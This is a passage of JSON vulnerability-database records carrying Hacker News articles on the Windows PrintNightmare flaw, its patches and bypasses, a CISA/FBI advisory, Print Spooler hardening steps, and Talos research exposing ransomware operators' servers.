10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2019-7481", "CVE-2021-1640", "CVE-2021-1675", "CVE-2021-22937", "CVE-2021-26084", "CVE-2021-26878", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33766", "CVE-2021-34473", "CVE-2021-34483", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-36934", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48", "href": "https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-wbLrBJlJCfE/YOUa-690-KI/AAAAAAAADG0/6tT84mGPz6gQ_5vYBxhkEE_spk0LW4WpwCLcBGAsYHQ/s0/windows-patch-update.jpg>)\n\nMicrosoft has shipped an [emergency out-of-band security update](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center#1646>) to address a critical zero-day vulnerability \u2014 known as \"PrintNightmare\" \u2014 that affects the Windows Print Spooler service and can permit remote threat actors to run arbitrary code and take over vulnerable systems.\n\nTracked as [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8), the remote code execution flaw impacts all supported editions of Windows. Last week, the company warned it had detected active exploitation attempts targeting the vulnerability.\n\n\"The Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system,\" the CERT Coordination Center said of the issue.\n\nIt's worth noting that PrintNightmare includes both remote code execution and a [local privilege escalation](<https://github.com/calebstewart/CVE-2021-1675>) vector that can be abused in attacks to run commands with SYSTEM privileges on targeted Windows machines.\n\n[](<https://thehackernews.com/images/-NzUbsCmtpLU/YOUekekqtnI/AAAAAAAADG8/HwnD7Xq3_iYftG9BrRvS1tJxIBOomRzXgCLcBGAsYHQ/s0/lpe.jpg>)\n\n\"The Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" CERT/CC vulnerability analyst Will Dormann [said](<https://www.kb.cert.org/vuls/id/383432>).\n\nThis effectively means that the incomplete fix could still be used by a local adversary to gain SYSTEM privileges. As workarounds, Microsoft recommends stopping and disabling the Print Spooler service or turning off inbound remote printing through Group Policy to block remote attacks.\n\nGiven the criticality of the flaw, the Windows maker has issued patches for:\n\n * Windows Server 2019\n * Windows Server 2012 R2\n * Windows Server 2008\n * Windows 8.1\n * Windows RT 8.1, and\n * Windows 10 (versions 21H1, 20H2, 2004, 1909, 1809, 1803, and 1507)\n\nMicrosoft has even taken the unusual step of issuing the fix for Windows 7, which officially reached the end of support as of January 2020.\n\nThe [update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), however, does not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016, for which the Redmond-based company stated patches will be released in the forthcoming days.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-07T03:11:00", "type": "thn", "title": "Microsoft Issues Emergency Patch for Critical Windows PrintNightmare Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T03:38:13", "id": "THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "href": "https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-4tveTym6-fk/YOZ_5ZwEbHI/AAAAAAAADHs/xXSCpfsipXYpe6tJM2SGaTIDUE9dVGoGwCLcBGAsYHQ/s0/PrintNightmare-Vulnerability-Patch.jpg>)\n\nEven as Microsoft [expanded patches](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center>) for the so-called [PrintNightmare vulnerability](<https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html>) for Windows 10 version 1607, Windows Server 2012, and Windows Server 2016, it has come to light that the fix for the remote code execution exploit in the Windows Print Spooler service can be bypassed in certain scenarios, effectively defeating the security protections and permitting attackers to run arbitrary code on infected systems.\n\nOn Tuesday, the Windows maker issued an [emergency out-of-band update](<https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html>) to address [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8) after the flaw was accidentally disclosed by researchers from Hong Kong-based cybersecurity firm Sangfor late last month, at which point it emerged that the issue was different from another bug \u2014 tracked as [CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \u2014 that was patched by Microsoft on June 8.\n\n\"Several days ago, two security vulnerabilities were found in Microsoft Windows' existing printing mechanism,\" Yaniv Balmas, head of cyber research at Check Point, told The Hacker News. \"These vulnerabilities enable a malicious attacker to gain full control on all windows environments that enable printing.\"\n\n\"These are mostly working stations but, at times, this relates to entire servers that are an integral part of very popular organizational networks. Microsoft classified these vulnerabilities as critical, but when they were published they were able to fix only one of them, leaving the door open for explorations of the second vulnerability,\" Balmas added.\n\nPrintNightmare stems from bugs in the Windows [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) service, which manages the printing process inside local networks. The main concern with the threat is that non-administrator users had the ability to load their own printer drivers. This has now been rectified.\n\n\"After installing this [update] and later Windows updates, users who are not administrators can only install signed print drivers to a print server,\" Microsoft [said](<https://support.microsoft.com/en-us/topic/july-7-2021-kb5004948-os-build-14393-4470-out-of-band-fb676642-a3fe-4304-a79c-9d651d2f6550>), detailing the improvements made to mitigate the risks associated with the flaw. \"Administrator credentials will be required to install unsigned printer drivers on a printer server going forward.\"\n\nPost the update's release, CERT/CC vulnerability analyst Will Dormann cautioned that the patch \"only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" thereby allowing attackers to abuse the latter to gain SYSTEM privileges on vulnerable systems.\n\nNow, further testing of the update has revealed that exploits targeting the flaw could [bypass](<https://twitter.com/gentilkiwi/status/1412771368534528001>) the [remediations](<https://twitter.com/wdormann/status/1412813044279910416>) entirely to gain both local privilege escalation and remote code execution. To achieve this, however, a [Windows policy](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/printing/use-group-policy-to-control-ad-printer>) called '[Point and Print Restrictions](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/group-policy/point-print-restrictions-policies-ignored>)' must be enabled (Computer Configuration\\Policies\\Administrative Templates\\Printers: Point and Print Restrictions), using which malicious printer drivers could be potentially installed.\n\n\"Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the Point and Print NoWarningNoElevationOnInstall is set to 1,\" Dormann [said](<https://www.kb.cert.org/vuls/id/383432>) Wednesday. Microsoft, for its part, [explains in its advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) that \"Point and Print is not directly related to this vulnerability, but the technology weakens the local security posture in such a way that exploitation will be possible.\"\n\nWhile Microsoft has recommended the nuclear option of stopping and disabling the Print Spooler service, an [alternative workaround](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) is to enable security prompts for Point and Print, and limit printer driver installation privileges to administrators alone by configuring the \"RestrictDriverInstallationToAdministrators\" registry value to prevent regular users from installing printer drivers on a print server.\n\n**UPDATE:** In response to CERT/CC's report, Microsoft [said](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) on Thursday:\n\n\"Our investigation has shown that the OOB [out-of-band] security update is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-08T04:35:00", "type": "thn", "title": "Microsoft's Emergency Patch Fails to Fully Fix PrintNightmare RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T09:52:49", "id": "THN:CAFA6C5C5A34365636215CFD7679FD50", "href": "https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:23", "description": "[](<https://thehackernews.com/images/-RJ_0BYkTxHY/YN7HyUD-_KI/AAAAAAAA4SA/dbXcZli9DPwTnJvla5sgZ3hDzIqO8zLRgCLcBGAsYHQ/s0/windows-print-spooler-vulnerability.jpg>)\n\nMicrosoft on Thursday officially confirmed that the \"**PrintNightmare**\" remote code execution (RCE) vulnerability affecting Windows Print Spooler is different from the issue the company addressed as part of its Patch Tuesday update released earlier this month, while warning that it has detected exploitation attempts targeting the flaw.\n\nThe company is tracking the security weakness under the identifier [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), and has assigned it a severity rating of 8.8 on the CVSS scoring system. All versions of Windows contain the vulnerable code and are susceptible to exploitation.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" Microsoft said in its advisory. \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\n\"An attack must involve an authenticated user calling RpcAddPrinterDriverEx(),\" the Redmond-based firm added. When reached by The Hacker News, the company said it had nothing to share beyond the advisory.\n\nThe acknowledgment comes after researchers from Hong Kong-based cybersecurity company Sangfor [published](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) a technical deep-dive of a Print Spooler RCE flaw to GitHub, along with a fully working PoC code, before it was taken down just hours after it went up.\n\n[](<https://thehackernews.com/images/-Zl5E2TyZRFQ/YN7Ej6s8x8I/AAAAAAAA4R4/FEYZ4JpYdakscU9e8eXMl9VEI0Hl1P_SwCLcBGAsYHQ/s0/ms.jpg>)\n\nThe disclosures also set off speculation and debate about whether the June patch does or does not protect against the RCE vulnerability, with the CERT Coordination Center [noting](<https://kb.cert.org/vuls/id/383432>) that \"while Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.\"\n\nCVE-2021-1675, originally classified as an elevation of privilege vulnerability and later revised to RCE, was remediated by Microsoft on June 8, 2021.\n\nThe company, in its advisory, noted that PrintNightmare is distinct from CVE-2021-1675 for reasons that the latter resolves a separate vulnerability in RpcAddPrinterDriverEx() and that the attack vector is different.\n\nAs workarounds, Microsoft is recommending users to disable the Print Spooler service or turn off inbound remote printing through Group Policy. To reduce the attack surface and as an alternative to completely disabling printing, the company is also advising to check membership and nested group membership, and reduce membership as much as possible, or completely empty the groups where possible.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T05:36:00", "type": "thn", "title": "Microsoft Warns of Critical \"PrintNightmare\" Flaw Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-03T07:11:54", "id": "THN:9CE630030E0F3E3041E633E498244C8D", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-critical.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:27", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEi78Lgh1-a_Rlugh-jIjcQsT3okz4dkvUH1BpDGD2uThowKvsO7WgxJ7CzE9cAixe67YOA9inVSnZzZWhfA7bAV4ymALr-GCIvlvpRTka6rQROItUoRgAGIdaDtlEUPPeof7gjztGdh1UfjFIt_ps35SJsa5HNgqIppsi2kHJdv2NVQR31hMzFoIXUh>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have released a joint advisory warning that Russia-backed threat actors hacked the network of an unnamed non-governmental entity by exploiting a combination of flaws.\n\n\"As early as May 2021, Russian state-sponsored cyber actors took advantage of a misconfigured account set to default [multi-factor authentication] protocols at a non-governmental organization (NGO), allowing them to enroll a new device for MFA and access the victim network,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>).\n\n\"The actors then exploited a critical Windows Print Spooler vulnerability, 'PrintNightmare' ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>)) to run arbitrary code with system privileges.\"\n\nThe attack was pulled off by gaining initial access to the victim organization via compromised credentials \u2013 obtained by means of a brute-force password guessing attack \u2013 and enrolling a new device in the organization's [Duo MFA](<https://duo.com/product/multi-factor-authentication-mfa>).\n\nIt's also noteworthy that the breached account was un-enrolled from Duo due to a long period of inactivity, but had not yet been disabled in the NGO's Active Directory, thereby allowing the attackers to escalate their privileges using the PrintNightmare flaw and disable the MFA service altogether.\n\n\"As Duo's default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network,\" the agencies explained.\n\nTurning off MFA, in turn, allowed the state-sponsored actors to authenticate to the NGO's virtual private network (VPN) as non-administrator users, connect to Windows domain controllers via Remote Desktop Protocol (RDP), and obtain credentials for other domain accounts.\n\nIn the final stage of the attack, the newly compromised accounts were subsequently utilized to move laterally across the network to siphon data from the organization's cloud storage and email accounts.\n\nTo mitigate such attacks, both CISA and FBI are recommending organizations to enforce and review multi-factor authentication configuration policies, disable inactive accounts in Active Directory, and prioritize patching for [known exploited flaws](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-16T13:29:00", "type": "thn", "title": "FBI, CISA Warn of Russian Hackers Exploiting MFA and PrintNightmare Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-16T13:29:45", "id": "THN:A52CF43B8B04C0A2F8413E17698F9308", "href": "https://thehackernews.com/2022/03/fbi-cisa-warn-of-russian-hackers.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-J4q0IawSomE/YOSMoHyRjgI/AAAAAAAABHE/cP0YFHHZFtA9uluA4FTtUF6qLpRtEeAEgCLcBGAsYHQ/s0/Microsoft-PrintSpooler-Vulnerability.jpg>)\n\nThis week, **PrintNightmare** \\- Microsoft's Print Spooler vulnerability (CVE-2021-34527) was upgraded from a 'Low' criticality to a 'Critical' criticality.\n\nThis is due to a Proof of Concept published on GitHub, which attackers could potentially leverage for gaining access to Domain Controllers.\n\nAs we [reported earlier](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), Microsoft already released a patch in June 2021, but it wasn't enough to stop exploits. Attackers can still use Print Spooler when connecting remotely. You can find all you need to know about this vulnerability in this article and how you can mitigate it (and you can). \n\n**Print Spooler in a nutshell:** Print Spooler is Microsoft's service for managing and monitoring files printing. This service is among Microsoft's oldest and has had minimal maintenance updates since it was released. \n\nEvery Microsoft machine (servers and endpoints) has this feature enabled by default.\n\n**PrintNightmare vulnerability:** As soon as an attacker gains limited user access to a network, he will be able to connect (directly or remotely) to the Print Spooler. Since the Print Spooler has direct access to the kernel, the attacker can use it to gain access to the operating system, run remote code with system privileges, and ultimately attack the Domain Controller.\n\nYour best option when it comes to mitigating the PrintNightmare vulnerability is to disable the Print Spooler on every server and/or sensitive workstation (such as administrators' workstations, direct internet-facing workstations, and non-printing workstations).\n\nThis is what Dvir Goren's, hardening expert and CTO at [CalCom Software Solutions](<https://www.calcomsoftware.com/?utm_source=HN>), suggests as your first move towards mitigation.\n\nFollow these steps to disable the Print Spooler service on Windows 10:\n\n 1. Open Start.\n 2. Search for PowerShell, right-click on it and select the Run as administrator.\n 3. Type the command and press Enter: _Stop-Service -Name Spooler -Force_\n 4. Use this command to prevent the service from starting back up again during restart: Set-Service -Name Spooler -StartupType Disabled\n\nAccording to Dvir's experience, 90% of servers do not require Print Spooler. It is the default configuration for most of them, so it is usually enabled. As a result, disabling it can solve 90% of your problem and have little impact on production.\n\nIn large and complex infrastructures, it can be challenging to locate where Print Spooler is used.\n\nHere are a few examples where Print Spooler is required:\n\n 1. When using Citrix services,\n 2. Fax servers,\n 3. Any application requiring virtual or physical printing of PDFs, XPSs, etc. Billing services and wage applications, for example.\n\nHere are a few examples when Print Spooler is not needed but enabled by default:\n\n 1. Domain Controller and Active Directory \u2013 the main risk in this vulnerability can be neutralized by practicing basic cyber hygiene. It makes no sense to have Print Spooler enabled in DCs and AD servers. \n 2. Member servers such as SQL, File System, and Exchange servers. \n 3. Machines that do not require printing. \n\nA few other hardening steps suggested by Dvir for machines dependent on Print Spooler include:\n\n 1. Replace the vulnerable Print Spooler protocol with a non-Microsoft service. \n 2. By changing 'Allow Print Spooler to accept client connections', you can restrict users' and drivers' access to the Print Spooler to groups that must use it.\n 3. Disable Print Spooler caller in Pre-Windows 2000 compatibility group.\n 4. Make sure that Point and Print is not configured to No Warning \u2013 check registry key SOFTWARE/Policies/Microsoft/Windows NT/Printers/PointAndPrint/NoElevationOnInstall for DWORD value 1 and change it to 0.\n 5. Turn off EnableLUA \u2013 check registry key SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/EnableLUA for DWORD value 0 and change it to 1.\n\nHere's what you need to do next to ensure your organization is secure:\n\n 1. Identify where Print Spooler is being used on your network. \n 2. Map your network to find the machines that must use Print Spooler.\n 3. Disable Print Spooler on machines that do not use it. \n 4. For machines that require Print Spooler \u2013 configure them in a way to minimize its attack surface. \n\nBeside this, to find potential evidence of exploitation, you should also monitor Microsoft-Windows-PrintService/Admin log entries. There might be entries with error messages that indicate Print Spooler can't load plug-in module DLLs, although this can also happen if an attacker packaged a legitimate DLL that Print Spooler demands.\n\nThe final recommendation from Dvir is to implement these recommendations through[ hardening automation tools](<https://www.calcomsoftware.com/best-hardening-tools/?utm_source=HN>). Without automation, you will spend countless hours attempting to harden manually and may end up vulnerable or causing systems to go down\n\nAfter choosing your course of action, a [Hardening automation tool](<https://www.calcomsoftware.com/server-hardening-suite/?utm_source=HN>) will discover where Print Spooler is enabled, where they are actually used, and disable or reconfigure them automatically.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-08T09:32:00", "type": "thn", "title": "How to Mitigate Microsoft Print Spooler Vulnerability \u2013 PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T15:05:22", "id": "THN:10A732F6ED612DC7431BDC9A3CEC3A29", "href": "https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-07-06T07:58:10", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhW8mCPe27LdzHLP4ngj6tlt2Pg8kCf_fM8vePiD96oqVL7MUOW8zxZlXFGU1HvblavK2Xdcm0tf2j7r5qbvTV9iW1N9M95vbWmuFsGUq0MkEeY7rnkpeop76NG41Eys_CeiCVl0xS8l4E21-RosfCrVOTGYR8jNw1F5Q2v-OjF2MeqKfBbPn6bDseq/s728-e100/ransomware.jpg>)\n\nCybersecurity researchers have detailed the various measures ransomware actors have taken to obscure their true identity online as well as the hosting location of their web server infrastructure.\n\n\"Most ransomware operators use hosting providers outside their country of origin (such as Sweden, Germany, and Singapore) to host their ransomware operations sites,\" Cisco Talos researcher Paul Eubanks [said](<https://blog.talosintelligence.com/2022/06/de-anonymizing-ransomware-domains-on.html>). \"They use VPS hop-points as a proxy to hide their true location when they connect to their ransomware web infrastructure for remote administration tasks.\"\n\nAlso prominent are the use of the TOR network and DNS proxy registration services to provide an added layer of anonymity for their illegal operations.\n\nBut by taking advantage of the threat actors' operational security missteps and other techniques, the cybersecurity firm disclosed last week that it was able to identify TOR hidden services hosted on public IP addresses, some of which are previously unknown infrastructure associated with [DarkAngels](<https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/>), [Snatch](<https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch>), [Quantum](<https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware>), and [Nokoyawa](<https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa>) ransomware groups.\n\nWhile ransomware groups are known to rely on the dark web to conceal their illicit activities ranging from leaking stolen data to negotiating payments with victims, Talos disclosed that it was able to identify \"public IP addresses hosting the same threat actor infrastructure as those on the dark web.\"\n\n\"The methods we used to identify the public internet IPs involved matching threat actors' [self-signed] [TLS certificate](<https://www.digicert.com/tls-ssl/tls-ssl-certificates>) serial numbers and page elements with those indexed on the public internet,\" Eubanks said.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjaV9wVlzzeADW3plTap4jOh9fqaG1M5Q8q7q-pX6vbN6EAWqHqnEEvq-nA0yW2N64kchUyacQRbSQXnYk0i2qcd2Lxjiu4alpeum5cu6QCPMBvjt90TSKl-7opy4d0YCn8MX_tPYh7B04Vidh2gZfgYJXxKGevp9NbNa8lZg-DQGZXl7xjDrvwfK89/s728-e100/cert.jpg>)\n\nBesides TLS certificate matching, a second method employed to uncover the adversaries' clear web infrastructures entailed checking the favicons associated with the darknet websites against the public internet using web crawlers like Shodan.\n\nIn the case of [Nokoyawa](<https://www.fortinet.com/blog/threat-research/nokoyawa-variant-catching-up>), a new Windows ransomware strain that appeared earlier this year and shares substantial code similarities with Karma, the site hosted on the TOR hidden service was found to harbor a directory traversal flaw that enabled the researchers to access the \"[/var/log/auth.log](<https://help.ubuntu.com/community/LinuxLogFiles>)\" file used to capture user logins.\n\nThe findings demonstrate that not only are the criminal actors' leak sites accessible for any user on the internet, other infrastructure components, including identifying server data, were left exposed, effectively making it possible to obtain the login locations used to administer the ransomware servers.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiKBfxqmczj3qrieqIFbqxh8pEIBTtSz9_BdFyfDEKmGEjCUPpH7QhuZsHt6jxBWgKWU2wcnFlthPIVmExegrtxg0bzvUln74smXx6Krggvf6_bQ9tr_o1NRTxCcjmsINrMdRyZpvXHdS8zZSeFCw8zi_qx2puc2SGz4zIL9dtTRKkdNSYZMGX3KE3p/s728-e100/keys.jpg>)\n\nFurther analysis of the successful root user logins showed that they originated from two IP addresses 5.230.29[.]12 and 176.119.0[.]195, the former of which belongs to GHOSTnet GmbH, a hosting provider that offers Virtual Private Server (VPS) services.\n\n\"176.119.0[.]195 however belongs to AS58271 which is listed under the name Tyatkova Oksana Valerievna,\" Eubanks noted. \"It's possible the operator forgot to use the German-based VPS for obfuscation and logged into a session with this web server directly from their true location at 176.119.0[.]195.\"\n\n### LockBit adds a bug bounty program to its revamped RaaS operation\n\nThe development comes as the operators of the emerging [Black Basta](<https://thehackernews.com/2022/06/cybersecurity-experts-warn-of-emerging.html>) ransomware [expanded](<https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html>) their attack arsenal by using 